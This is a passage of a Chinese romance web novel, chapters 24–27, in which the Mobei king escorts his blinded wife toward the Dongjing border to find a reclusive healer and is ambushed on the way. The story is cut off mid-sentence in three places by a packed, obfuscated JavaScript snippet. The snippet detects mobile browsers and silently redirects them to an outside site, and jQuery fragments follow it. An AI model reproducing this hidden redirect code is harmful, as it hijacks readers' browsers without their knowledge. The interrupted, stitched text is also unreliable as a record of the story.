他语气轻柔,循循善诱,努力编织着一个无比美好的未来。
江熹禾闭了闭眼,颤抖着“嗯”了一声。
桃枝适时进来,语气轻松地对她说道:“王妃,今日厨房炖的鱼汤很是不错,闻着就很鲜美,您快趁热尝尝吧。”
江熹禾努力撑起身子,声音沙哑到几乎分辨不清:“王,您先去处理一下伤口吧。”
森布尔笑了笑,伸手揉了揉她的眼角,“别担心,一点皮外伤罢了,已经好得差不多了。”
江熹禾蹙起眉头,还想说什么,森布尔已经端起了汤碗,用勺子搅了搅。
“先吃饭吧,我喂你。”
江熹禾没有抗拒,勺子抵上嘴唇,她也乖顺地张开了嘴巴。
森布尔拿出了十足的耐心,喂得很细致,每一口都把温度和量都控制地很好。
虽然江熹禾以前也经常生病,但她总是习惯自己强撑,像现在这样被森布尔无微不至地照顾着,还是头一回。
一碗鱼汤很快见了底,森布尔又夹了一小块炖得软烂的牛肉,吹凉了递到她嘴边。江熹禾张嘴咽下,咀嚼的动作却明显慢了下来,像是吃不下了。
森布尔看在眼里,放下筷子,突然捂着胸口“嘶”了一声。
江熹禾立刻警觉起来,紧张地问:“怎么了?是不是伤口痛?”
“是啊,痛得厉害,”森布尔满脸狡黠,重新夹起牛肉,喂到她嘴边,“你再不多吃点,我这心啊,就痛到快要死掉了。”
江熹禾愣了一下,反应过来他是故意逗自己。她无奈地皱了皱眉,只能乖乖张开嘴巴,把那块牛肉咽了下去。
森布尔就这样半哄半骗地喂她吃完了饭,这才把碗筷递给桃枝,叮嘱道:“你好好照看王妃,别离开。我去医帐处理一下伤口,马上就回来。”
桃枝接过碗筷,恭敬应下。
24. 进退两难
听着森布尔的脚步声消失后,江熹禾才开口问道:“桃枝,先前大王在外面跟谁争吵?”
桃枝也没有隐瞒,直说道:“是塔林和部落里的几个长老,他们不赞成大王的决定,说现在去东靖太危险。”
江熹禾完全可以理解族人的心情。
森布尔的这个决定的确有些冒险,如果他此番在东靖出了意外,那漠北很快就会陷入混乱。等到草原再出现下一个森布尔这样的首领,又不知道还要多少年。
看到江熹禾脸上的担忧,桃枝轻声劝道:“不过您也不用太过担心了,大王不是说了吗,让您相信他就好,把一切都交给他,肯定会没事的。”
江熹禾神色稍松,嗔道:“你这丫头,又偷听我们说话。”
桃枝吐了吐舌头,拿出早就准备好的话本子。
“王妃,反正闲着也是闲着,我给您读话本吧!”
知道她是在想办法逗自己开心,江熹禾十分配合地点了点头:“好啊。”
森布尔处理完伤口,从医帐出来,发现塔林就站在门口等他。
“大王。”塔林见他出来,抱拳沉声道。
森布尔看了他一眼,没说什么,转身朝着部落边缘的草原走去。塔林会意,默默跟上。
“塔林,你在这儿等我,是还有话想跟我说?”
下午在王帐外的那番谈话,与其说是谏言,倒不如说是吵架。
现在两人都冷静下来,塔林觉得还是要心平气和地跟森布尔好好谈谈。
“大王,如今东靖老皇帝死了,新皇刚刚继位,正是朝堂不稳,改朝换代的时候。只要我们重新整备铁骑,在您的带领下,定能一举突破他们的边防,一雪前耻!”
“塔林,”森布尔停住脚步,回头看他,“你可曾想过,之前一直被我们压着打的东靖人,为何短短时日就改头换面,让我们的铁骑连连吃瘪,陷入被动?”
塔林不假思索地答道:“那是因为您没回来!我们群龙无首,才会落入他们的圈套。如今您平安归来,只要您一声令下,铁骑将士们必定士气大涨,我们……”
“这就是问题所在!”
森布尔突然打断他,严肃道:“为何我们的铁骑,只是缺了我一人,就成了一群无头苍蝇,任人分割击溃?而东靖在朝堂动荡,权力交替之时,却能迅速稳住阵脚,甚至扭转劣势,骑在我们头上作威作福?”
森布尔是漠北的狼王,更是所有漠北人的信仰。
他的存在,是漠北铁骑最坚固的底气,可这既是无可比拟的优势,也是致命的弊端,因为一旦他出事,整个漠北就会陷入混乱。
经此一役,森布尔彻底看清了这一点,他也决心一定要改变现状。
铁骑不能只指望他一个人,漠北也不能只靠他一人支撑,否则迟早会被江钰轩彻底击垮。
塔林被问得愣住,结巴道:“可……可只要您回来了,我们就能重整旗鼓,重新杀回去啊!”
在他心里,森布尔就是无所不能的,只要有他在,漠北就没有打不赢的仗。
“那倘若我没回来呢。”
森布尔仰起头,看着无垠夜空,幽幽叹了口气。
在东靖的皇宫天牢,若不是江熹禾以死相救,他恐怕就真的永远回不来了。
塔林沉思良久,还是坚持道:“就算现在我们不进攻东靖,您也不能只身前往啊!按您所说,江钰轩是个心思深沉,不容小觑的对手,您好不容易从东靖九死一生逃回来,此刻再回去,岂不是自投罗网?”
森布尔这次没有反驳,只是转过头,望向部落深处江熹禾所在的营帐方向,一字一句道:“我要救她,谁也拦不住。”
帐子里,桃枝特意留了一盏昏黄的烛台,她怕江熹禾看不见,又摔下床,于是在床边铺了厚厚的羊毛毡毯。
先前常用的铜剪被收进了木匣,案几边缘也用绒布裹了起来,连平日里王妃用来插花的瓷瓶都暂时搬了出去,
做完这一切,她才轻手轻脚地退了出去。刚转过身,就碰见了迎面走来的森布尔。
森布尔抬手示意她不必多礼,轻声问:“她睡了?”
桃枝点头道:“我给王妃读了会儿话本子,没多久就她就睡了。”
森布尔微微颔首,对她道:“辛苦了。”
说罢,他便掀开帘帐,放轻脚步走了进去。
帐子里静悄悄的,床上的人一动不动地蜷着。
森布尔走到床沿坐下,盯着她的发顶看了一会儿,突然开口:“睡不着?”
江熹禾叹了口气,转过头,伸出手在森布尔胸前摸索,“伤口都处理好了吗?还痛吗?”
“别乱摸,”森布尔捉住她的手腕,放在唇边吻了一口,调笑道,“摸出火来,你可得负责灭火。”
他故意说玩笑话逗她,但她却根本笑不出来。
森布尔笑着沉默了一会儿,干脆脱下外袍,直接在床上躺下。
他缓缓摩挲着她的手指,另一只胳膊枕在脑后。
“这几日草原天气正好,春日里的风都暖了。我们去东靖的路上,会路过那片最大的牧场,现下草都冒绿尖了,漫山遍野的小黄花也该开了,带你出去透透气,对身体也好。”
他说着说着,脸上的笑容突然凝固了。
一想到这么好的春光,这么鲜活的颜色,她却可能再也看不见了,他的心就猛地一沉。
等了一会儿没听见他说话,江熹禾往他身边凑了凑,小声问:“王,怎么了?”
“咳……没什么,”森布尔回过神,揽住她继续道,“你先前不是说东靖人做的桂花糕很好吃吗?这次正好一起去尝尝。”
江熹禾低声道:“可是我们连那神医姓甚名谁,是男是女,身在何处都一无所知,真的要这么贸然进城吗?”
森布尔对此却很有信心,“神医的名声都传到了漠北,想必在东靖也是无人不知无人不晓,进城之后,我们随便打听打听就知道了。”
即便他说得胸有成竹,江熹禾的心还是悬着,“眼下东靖刚换了新皇,兄长他……”
提起江钰轩,她顿了顿,“兄长他必然会加强边城布防。你是漠北王,见过你的人不在少数,根本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804457|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没那么容易进城。”
“谁说我要从正门进了?”森布尔狡黠一笑,指腹刮了刮她的鼻尖,“我早计划好了。我们先跟着南行的行商队伍混到城门附近,等夜深了,我带你绕去后山,从山涧的密道潜进去,那是以前我跟东靖的马帮交易时发现的,隐蔽得很。”
江熹禾皱眉:“山上未必没有守卫,还是太过冒险了。”
“你不相信你夫君?”
“不是不信,我只是……”
“放心吧,我已经在你哥手里吃过一次亏了,不会再犯同样的错误了。”
森布尔捂住她的后脑,在她额头上轻轻落下一吻,“我答应过要治好你,就绝不会让你失望。”
进,是刀山火海的风险。
退,是永陷黑暗的绝望。
江熹禾陷入两难,只好认命般地闭上眼睛,把脸埋进他的颈窝。
她终究还是选择信他,也只能信他。
又在帐中静养了几日,江熹禾的风寒总算彻底痊愈,气色也好了许多。兴许是终于适应了眼前的黑暗,她也不再像一开始那样,稍有风吹草动就会惊慌失措。
桃枝忍着眼泪给她打包行李,拼命压抑着喉间的哽咽。
江熹禾端坐在铺着软垫的木椅上,背脊挺得笔直,面容沉静。若不是那双眸子始终没有焦点,任谁也看不出她此刻已是个视物不清的盲人。
“桃枝,”她冲桃枝的方向招了招手,温声道,“你过来。”
桃枝赶忙用手背抹了把眼泪,吸了吸鼻子,快步走到她面前:“王妃,怎么了?”
江熹禾伸出手,摸到她湿润的脸颊,“别哭了,我只是去找大夫看病,又不是不回来了。我不在部落的日子,你要好好照顾自己。”
“王妃……”桃枝啜泣道,“您一定要平安回来,等再见面的时候,眼睛一定能看得见,好不好?”
江熹禾笑了笑,淡然道:“听人事,尽天命吧。你们也别太为我担心,我没关系的。”
帐子外,青格勒正帮森布尔往马背上捆扎行李。
为了避免引入注目,森布尔这次没有骑他的那匹通体乌黑的战马,而是选了一匹毛色暗沉的棕色矮脚马,身形普通,混在行商队伍里,也不会让人多看一眼。
“王,”青格勒背着手,脚尖碾着地上的石子,“您真的不带我一起去吗?我可以帮您探路,断后,打探消息,绝对不会给您添麻烦的。”
森布尔栓好行李,拍了拍他的肩膀,“我们此行为了避人耳目,随行的人越少越好,目标就越小,越安全。你留在部落,跟着塔林好好练武,安心等我回来。”
青格勒虽然还是不甘心,但也只得应下:“好吧。”
桃枝扶着江熹禾从帐子里出来,森布尔上前,接过她的手,双手掐着她的腰,稍一用力,就把她轻柔地举上了马鞍。
江熹禾下意识地攥住马鬃,待身形坐稳,森布尔才从青格勒手里接过缰绳,脚尖一点地面,利落地翻身上马。
他单手牢牢揽住身前的人,头也不回地招了招手。
“走了。”
25. 草原的味道
草原上春日正浓,风里带着青草的嫩香,拂在脸上暖融融的。天空是澄澈的蓝,没有一片云彩,像被水洗过似的,干净得晃眼。
脚下的草芽铺成一片柔软的碧色绒毯,随着地势起伏,像极了流动的绿波。
远处的牧场上,几群牛羊慢悠悠地啃着青草,偶尔传来几声悠远的哞叫。
森布尔低头看了眼怀里的人,见她微微侧着头,鼻尖轻嗅,嘴角带着浅浅的笑意,便放缓了马速,轻声道:“闻到了吗?风里都是春草和野花的味道。”
江熹禾轻轻点头,指尖轻抚春风,笑道:“闻到了,草原的味道。”
也是森布尔的味道。
两人行进速度不快,走走停停,森布尔需要随时观察江熹禾的情况,她身子刚痊愈,经不起剧烈颠簸,稍有不慎呛了风,先前的咳嗽便会复发。
于是他便索性放慢了速度,任由矮脚马在草原上缓步踱行,权当是借这趟旅程踏一次春。
这些年,漠北与东靖战火不断,草原上的风都常年带着硝烟味,两人难得有这样安稳的时刻。
没有追兵的紧迫,没有朝堂的纷争,只有暖风和畅,草木清香。
若是忽略江熹禾的眼疾,那此刻也算是两人相处这么多年以来,难得的惬意时光。
夜里,森布尔循着牧人留下的踪迹,寻到一间闲置的石砌小屋。屋顶铺着厚实的毡毯,墙角堆着干燥的草料,倒也干净避风。
他燃起篝火,烧水煎药,又拧了热帕子给江熹禾擦脸。
“唔……”江熹禾被他搓得脸颊泛红,皱起鼻头。
森布尔见她这模样,低笑一声,随手把帕子丢回铜盆。然后他就大咧咧地脱光了衣服,端起她用过的水,直接兜头浇下。
江熹禾偏了偏头,躲开飞溅的水珠,“王,这里是牧区,说不定会有人来的,您这样……不好吧?”
“放心吧,这里除了我俩,又没别人。”森布尔站在她面前,很自在地洗完了澡,随手拿起一旁的浴巾系在腰间,
小屋的毡帘没完全放下,能看见外面广阔悠远的夜空。草原的夜空广阔悠远,点点星子散布其中,像一眨一眨的眼睛,清澈又璀璨。
在陌生环境里,一会儿没听见森布尔的动静就让江熹禾有些不安,她轻声唤道:“王,您还在吗?”
“在,”森布尔立刻应了一声,“我在看夜空,今晚的星星很漂亮。”
江熹禾虽然看不见,但也跟着抬起了头。空洞的眼眸望向星空的方向,带着一丝失落和怅然。
森布尔在她身边坐下,揽住她的肩膀,轻轻扶着她的脑袋靠在自己肩头。
“我之前好像一直都没告诉过你,”他浅浅笑着,声音低沉而温柔,“你的眼睛真的很漂亮,胜过天上万千繁星。”
江熹禾怔了怔,“王……”
森布尔偏过头,认真地看着她的眼睛:“所以,我一定会想办法治好你。让你再看看这星星,看看这草原,看看我。”
江熹禾鼻头发酸,但是却笑了,“嗯,我相信你。”
两人这一路都很顺利,没过几天,就跟着边城的行商,来到了城门口下。
由于新皇登基,对边境的防控格外严苛。城门口设了层层关卡,官兵手持长枪分列两侧,往来行人都需出示官府颁发的通关文牒,逐一查验身份,盘问去向,确认无误后才能放行。
城门外早已排起了长队,准备进城的行商和旅人摩肩接踵,人声嘈杂。
森布尔身材过于高大,为了避免引人注目,他带着江熹禾寻了个僻静地方坐着,静待天黑。
江熹禾端坐在森布尔给她清理出来的青石板上,那副端庄沉静的样子,再配上她那副惊为天人的容貌,即使森布尔已经尽量远离人群,但还是不可避免地引起了周围人的注意。
一位自来熟的妇人默默观察她许久,上前道:“这位小娘子生得可真俊呐,模样周正,皮肤又嫩,我活了这么大岁数,还从没见过这么漂亮的人儿,比画里的仙女都不差!”
江熹禾沉默了一会儿,才意识到对方是在说她,于是对着声音的方向偏了偏头,笑道:“多谢您的夸奖。”
“哟……”那妇人凑近了些,忽然发现她眼底的空茫,惊讶地捂住了嘴,“小娘子这是……眼睛看不见?”
江熹禾微笑点头:“是的,前些日子生了场急病,烧退之后,这眼睛便瞧不见了。”
妇人连连咂舌,满脸惋惜地摇头:“多好看的人儿啊,真可惜……”
森布尔把麦饼掰成小块,用干净的布包好递到江熹禾手里,适时插话道:“这位大娘,不瞒您说,我们此次进城,就是为了寻访那位名声在外的神医,想替我娘子医治眼睛。您常年在此处走动,可知道那神医如今在城中何处落脚?”
妇人道:“你说的可是赵神医?”
森布尔眼睛瞬间亮了,忙不迭点头:“正是。”
可妇人接下来的话,却给他们浇了盆冷水。
“赵神医的医术是很好,但是她一向神出鬼没,行踪不定,治病救人也全凭心情。她若看对了眼,倒贴钱也愿意治,她若看不顺眼,就是黄金万两也买不来她一张药方哟。”
森布尔听着,面色凝重下来,反倒是江熹禾还语气轻松地宽慰道:“无妨,既然大老远地来了,总是要试一试的。成与不成,都是天意,我们尽力便是。”
“哎哟,小娘子不仅生得好看,心性更是难得的通透!”
妇人被她的豁达打动,笑着上前轻轻拍了拍她的手背,“你这样的好姑娘,老天爷肯定会开眼的!说不定你们一进城,就能撞上赵神医呢!”
江熹禾微微颔首:“借您吉言。”
妇人又跟他们闲聊了几句,叮嘱他们进城后可去西街的老茶馆问问,那里三教九流都有,消息最是灵通。
眼看日头西斜,城门口的队伍渐渐缩短,妇人匆匆跟两人告别,这才挎着竹篮朝着城门的方向走去。
森布尔收拾好行李,趁着无人注意,迅速抱起江熹禾骑上马,朝着林子深处奔去。
“都从晌午等到天黑了,怎么还没排到我们啊?”辛夷踩在一块大石头上,努力踮着脚朝城门方向张望。
一旁的黑鸦倒是一脸从容,这会儿已经捡来枯枝架起火堆。火上正烤着一只肥硕的野鸡,油星子滴在火里,“滋滋”作响,香气飘出去老远。
辛夷踮着脚看了半天,也没看出队伍挪动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809298|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的迹象,一回头看见黑鸦已经撕下一条鸡腿啃得正香,顿时怒道:“喂!你怎么不给我留一点!”
黑鸦淡定地又从怀里掏出两个胡饼,指了指架在一旁的鸡翅。
辛夷卸下背上的药篓,几步冲过去从他手里夺过一块胡饼,又抓起烤得流油的鸡翅,大口啃了起来。
刚咬两口,她就被胡饼噎得直伸脖子,捶着胸口问:“师兄,就这一会儿功夫,你又从哪儿弄来的野鸡啊?”
黑鸦拧开水囊喝了一口,随手指了指林子深处。
辛夷顺着他的手指看了一眼,一道熟悉的身影在林子深处一闪而过。
森布尔?
她心头一震,腾地站起身,手里没啃完的鸡翅“啪嗒”一声掉进火堆里,溅起一捧火星。
黑鸦:“!”
林子里的身影一闪而过,只剩越来越远的马蹄声。
辛夷只是匆匆瞥了一眼,不敢完全确定,但如果真的是森布尔的话……
她绝不能放过任何一个机会!
她不再犹豫,俯身从药篓里面翻出几个药瓶,又抄起弓弩,迅速朝着马蹄声消失的方向奔去。
黑鸦:“?”
他看着她风风火火的背影,又看了眼火堆上没吃完的野鸡,脸上闪过一丝心痛,终究还是迅速踩灭余火,跟了上去。
森布尔沿着山间密道一路疾驰,照这个速度,他们最晚明日晌午便能抵达城内。
路过一个避风的山洞,洞口被藤蔓半掩,里面干燥无潮,正是歇脚的好地方。
森布尔勒住马缰,翻身下马,扶着江熹禾从马背上下来:“这里安全,你先在此稍作休息,我去清理一下。”
山洞里积着厚厚的枯枝败叶,脚下的泥土松软,显然许久无人踏足。
森布尔拔出腰间短刀,几下劈断横生的杂枝,又把干草归拢到角落,随即点燃火折子,在里面生起火堆。
他铺好随身带的毡毯,才扶着江熹禾在火堆旁坐下。
“这附近有条山涧,水很干净,我去打些水来给你洗漱,再看看能不能逮些野物当夜宵。”
江熹禾点了点头,却又在他将要离开时,又一把攥住了他的袖摆,“王,您早点回来。”
森布尔心头一软,俯身凑过去,在她唇边浅啄了一口,“放心,我不会让你一个人待太久,很快就回来。”
他细心地用枯枝杂草掩住洞口的火光,又在山洞周围巡视了一圈,确认四周没有野兽的足迹,这才从马背上取下水囊,快步朝着附近的山涧跑去。
黑夜里,山涧的溪流在月光下泛着粼粼波光。森布尔蹲在溪边,把水囊按进水中。
这里地势高,站在高处,甚至能俯瞰城中的点点烛火。但是由于山路险要,寻常人根本不会涉足,正好能避开城门的盘查。
他在心里盘算着,今晚在此养足精神,明日天不亮就动身,刚好能混进清晨进城的行商队伍里,神不知鬼不觉。
森布尔琢磨着先前从那妇人那里打探来的消息,“西街茶馆……”
看来明日进城之后的第一站,就是这里了。
水囊已灌满,森布尔拧好塞子,刚要起身,身后突然袭来一道凌厉的风声。
26. 再相逢
常年在战场上厮杀的本能让他瞬间警铃大作,几乎是下意识地就地翻滚。
“咻”的一声,一支短箭精准地射进他方才停留的地方,箭羽兀自颤栗,发出嗡嗡的轻鸣。
“什么人?!”
森布尔迅速翻身站起,抽出腰间的短刀,目光锐利扫过漆黑的树林。
呼吸间,又是三两支短箭破空而来,箭尖带着寒光直逼他的要害。
森布尔足尖一点,借着身旁的树干敏捷闪避,几个腾挪间已经锁定了在暗处放箭之人。
一组箭矢用完了也没能射中那人,辛夷躲在树枝上,咬牙暗骂了一句,正准备从腰间的箭袋里再摸出几发箭矢。
忽然,一枚石子从斜刺里急射而来,朝着辛夷的脑袋飞了过来。
辛夷慌忙闪躲,身形一歪,狼狈地从树上坠落下来。
她顾不得疼痛,迅速打了个滚起身,手掌刚摸向怀里的药瓶,一柄散发着寒意的短刃就抵在了她的咽喉上。
“别动,”森布尔居高临下地打量了她一眼,疑惑地问,“你是什么人?谁派你来的?”
辛夷沉默了片刻,冷笑道:“漠北王日理万机,自然不记得我这小人物。”
“你……”
森布尔盯着她的眉眼,刚觉得有些熟悉,辛夷突然灵活矮身,同时垂在腿侧的另一只手迅速抬起,三枚毒针朝着他心口疾射而出。
江熹禾坐在温暖的山洞里,后背紧紧靠着山壁。
森布尔不在,她只能听着柴火的噼啪声,在心里默数着时辰,一动不动地等待着他回来。
周遭静得只剩火焰燃烧的声音,忽然,洞门口那堆掩住火光的杂草传来轻微的簌簌声,像是被人轻轻挪动了。
紧接着,一道轻缓的脚步声由远及近,像是有人靠近了过来。
“王?”江熹禾立刻偏过头,朝着脚步声的方向轻声唤了一声。
可回应她的,只有一片死寂。
她心头一紧,本能地觉出不对。这脚步太轻,也太迟疑,绝不是森布尔的。但她眼睛看不见,又被堵在这封闭的山洞里,根本无处可避。
“你是谁?”她声音发颤,本能地往后缩。
那人似乎在她面前站定了,没有说话,只是静静地观察着她。
江熹禾能清晰感觉到对方的视线落在自己身上,让她浑身汗毛倒竖。
突然——
一双利爪般的手指猛地扼住了她的喉咙,力道大得惊人,将她硬生生从地上拽了起来。
“呃……”江熹禾挣脱不开,只觉得呼吸困难,喉间涌上一股浓烈的血腥味儿。
那人一只手死死扼着她的咽喉,另一只手禁锢住她的双手,强行带着她离开了洞穴。
“叮!”
三枚毒针撞上短刀,迸出清脆的脆响,被森布尔横刃尽数挥开。
寒光映着女孩眼底的恨意,他总算想起这张脸,眉峰一蹙:“你是那批东靖战俘?”
辛夷冷哼一声,反手从靴筒里抽出一柄寒光闪闪的短匕,不顾招式地朝着森布尔猛扑上去。
森布尔此行是为了给江熹禾看病,并不想招惹是非。
他侧身避开刺来的短匕,只以刀背格挡她的攻击,沉声道:“当年我留你们战俘性命,还放你们回东靖,你就是这样报答我的?”
“报答?”辛夷气红了眼,怒道,“我父母都惨死在你的手下,你居然还有脸跟我提‘报答’?”
森布尔沉默了。他征战多年,战场上杀人无数,哪里知道哪个是她口中的父母。
说话间,辛夷从袖袋中摸出一包油纸包裹的毒粉,盯着森布尔道:“既然如此,那今日就让我好好报答报答你吧!”
可她的招式太过稚嫩,满心恨意只让动作失了章法,一招一式早已被森布尔看穿。
还没等她手里的毒粉出手,森布尔就用刀柄精准击中了她的手腕。
辛夷吃痛松手,毒粉包掉落在地,森布尔顺势拽住她的手腕用力一拧,反手把人死死按在身后的树干上,短刀抵住她的后心,让她动弹不得。
“我说过,想杀我,你还不够格。”
森布尔失去耐心,正准备一刀了结这纠缠不休的麻烦,忽然一旁的树丛颤动,一个身穿黑色袍子的男人钳着江熹禾的咽喉走了出来。
“放开她!”森布尔瞳孔骤缩,没有任何犹豫就松开了辛夷,朝江熹禾扑了过去。
“呃……”黑衣人的手指骤然收紧,掐得江熹禾高高扬起下巴,痛哼出声。
森布尔的脚步猛地顿住,距离不过几步之遥,却不敢再往前半步。他丢下武器,缓缓举起双手,“你放开她,要什么我都给你!”
江熹禾在窒息的剧痛中听见了森布尔的声音,也瞬间明白自己成了要挟他的筹码。
她想挣扎,却浑身无力,只能艰难地呢喃:“王……”
“放开她!”
同一声喝止,这次却来自辛夷之口。
黑鸦动作一顿,疑惑地望向她。
辛夷揉着被拧得发麻的肩膀,踉踉跄跄地朝他走了过去,“师兄,她是昭华公主,快放开她。”
黑鸦虽然一脸不解,但还是依言放开了江熹禾。
江熹禾失去支撑,眼看就要倒在地上,森布尔跨步上前,一把揽住了她。
“咳咳咳……”江熹禾蜷缩在他怀里,撕心裂肺地咳嗽起来,呛出一串刺目的血沫,染红了森布尔的衣襟。
“怜儿!你怎么样?有没有事!”
森布尔目眦欲裂,连忙捂住她渗血的脖颈,赤红的眼睛瞪向一旁的两人,周身戾气暴涨,“你对她做了什么?我要杀了你!”
他像一头被彻底激怒的豹子,绷紧了脊背,随时准备要扑上去撕碎眼前两人。
江熹禾在一片混乱中抓住了他的衣领,艰难开口道:“王……咳咳……别怕……我没事……咳咳……”
她力气微弱,却硬生生拉住了即将失控的森布尔。
辛夷看见她唇角溢出的鲜血,忍不住问道:“公主,您怎么样?”
“咳咳咳……”
江熹禾剧烈地咳嗽了几声,才勉强缓过气,她蹙着眉毛思索了片刻,不确定地问道:“是……辛夷吗?”
“是我,”辛夷没想到她竟然还记得自己,连忙上前蹲下身,“公主……没想到会在这里遇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826107|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见您,我……”
黑鸦突然轻咳一声,辛夷回过头,见他抬手指了指自己的眼睛。
她这才意识到什么,借着月色仔细看了看江熹禾的眼睛。
那双曾如秋水般澄澈的眼睛,此刻空洞无神,没有半分神采。
“公主殿下,您的眼睛……”
电光石火间,她瞬间明白了森布尔为什么会只身出现在这里。
江熹禾虚弱地咳嗽了几声,对着辛夷的方向笑道:“辛夷,许久不见……你还活着,真好……”
辛夷眼眶一热,正准备回话,森布尔却伸出大手捂住江熹禾的侧脸,把她的脑袋按在胸前,隔绝了辛夷的视线。
他抱着怀里的人站起身,对着面前的两人冷冷道:“滚开,别挡路。再纠缠不休,我就先杀了你们。”
黑鸦站在一旁,不动声色地观察着森布尔。
他看得出来,这个男人是个相当厉害的对手,即便自己以命相搏,也未必能讨到半分好处。这种情况下,能避免一战,才是最明智的选择。
就在森布尔要带着江熹禾离开时,辛夷突然喊道:“你们是要去寻赵霖神医吗?”
森布尔脚步一顿,回头警惕地看着她:“你想怎样?”
黑鸦也上前一步,挡在了辛夷的身前。
两个男人冷冷对视着,空气中的火药味儿越来越浓,一场大战一触即发。
“咳咳……”
江熹禾突然发出一阵闷咳,脸色又白了几分,呼吸也变得愈发急促。森布尔连忙腾出一只手,掌心轻轻抚着她的后背顺气。
辛夷看着她虚弱的样子,还是忍不住绕开黑鸦上前一步,开口道:“赵霖是我师傅,我可以带公主去见她!”
森布尔眉峰一扬,眼里有些错愕,就连黑鸦也忍不住偏头看了她一眼。
要知道,赵霖医术虽高,脾气却比谁都古怪,看病救人全凭心情。
为了避开上门求医的人,她常年隐居在人迹罕至的深山竹庐,最烦没有眼色的人贸然打扰。
就算辛夷真的把人带去她面前,她也未必愿意出手相救,搞不好还会把自作主张的两人责罚一通。
森布尔不敢轻信她的话,沉声道:“此话当真?”
“自然当真!我曾受公主恩惠,又怎会害她?”
辛夷话锋一转,突然抬手指着森布尔,又道:“但是你得当场自裁,等你断了气,我自会带公主去治病。”
森布尔冷哼:“休想。”
他转身欲走,辛夷急了,又冲他喊道:“等等!那你把公主交给我!她的病情耽误不得了!”
森布尔垂眸看着怀里的人,脸上闪过一丝犹豫。
还没等他做出决定,不料江熹禾却突然虚弱地开口道:“辛夷……多谢你的好意,但若是要我与森布尔分开……那我情愿不治了,就这般了此残生,也无妨……”
森布尔心疼喃喃:“怜儿……”
“你……你们……”辛夷气得跺了跺脚,片刻后还是咬牙道,“算了!你们跟我来吧!”
黑鸦:“?!”
他猛地转头看向辛夷,眼神里写满了“你是不是疯了”。
27. 柳暗花明
几人暂且达成共识,虽然并未完全放下戒备,却也算先搁置了武器。
森布尔抱着江熹禾在石头上坐下,简单处理了她脖颈上的伤口。
黑鸦走上前,在森布尔要吃人的眼神里,替江熹禾把了脉。
他搭着那纤细苍白的手腕,原本平静的面色渐渐凝重起来,片刻后对辛夷摇了摇头。
森布尔立刻紧张地问:“他什么意思?”
辛夷没好气道:“公主都病成这样了你怎么才来?!现在只能去求求我师傅,看她有没有回春之法了。”
没有时间再耽搁下去了,森布尔抱着江熹禾,跟在辛夷和黑鸦身后上了路。
一路上气氛怪异又紧绷,两个男人互相警惕着,只有辛夷和江熹禾偶尔低声对话几句。
但江熹禾身子实在虚弱,没撑多久就眼皮发沉,靠在森布尔怀里昏睡了过去。
森布尔看着她脖颈上的布条又漫出血色,在她苍白肤色的衬托下,显得格外触目惊心。
他暗自咬牙,凶狠地盯着前方黑鸦的背影,若不是眼下还要靠他们寻找神医,他真想立刻冲上去,撕碎了这个伤了江熹禾的人,为她报仇。
黑鸦摸了摸泛起战栗的后颈,总觉得背后有一道灼人的视线,让他浑身不自在。他没回头,只是兀自加快了脚步。
几人一路疾行,从沉沉夜色走到天际泛白,又从清晨薄雾走到日头高悬,连口气都不敢歇,生怕耽误了江熹禾的病情。
沿着一条被杂草半掩的小路走至尽头,一间雅致的竹庐终于映入眼帘。
竹篱笆圈着不大的院落,院门前种着几株艾草,院门半掩着,里面不像是有人的样子。
“师傅!”辛夷率先推门进去,在不大的院落里转了一圈,却没见着人。
“师傅人呢?”正当她疑惑间,黑鸦走上前,抬手指了指竹庐后方的药田。
田埂上搭着错落的竹架,架上爬满了缠缠绕绕的藤蔓,空气中弥漫着浓郁却不刺鼻的药香。
辛夷立刻弓着腰钻进药田,拨开半人高的药草往里走。
没走几步,就看见一道身影四仰八叉地躺在草药堆里,身上还盖着片宽大的芭蕉叶,睡得正香。
“师傅!”她上前,摇了摇地上人的胳膊,“您躺在这儿干嘛?”
“嗯……哦,辛夷啊,你们回来了?”赵霖揉了揉眼睛,打了个哈欠坐起身,“我这不是正在研究新调配的安神香嘛,一不小心自己吸了一口,迷迷糊糊就睡过去了。”
辛夷颇为无语地叹了口气,连忙伸手把她扶起来,拍了拍她身上沾着的草屑。
“师傅,先别管安神香了,我带回来一个重病号,她情况特别不好,您一定要好好给她看看!”
“什么?”赵霖还没完全清醒,就被辛夷拽着往外走,“你这孩子,怎么还自作主张带人回来?我不是说过,不要接乱七八糟的活儿吗?”
两人从药田里钻了出来,迎面就看见了站在田边的森布尔。
森布尔也有些意外,传闻中能活死人肉白骨的神医,竟是个穿着粗布短褂,头发随意挽着的女子。
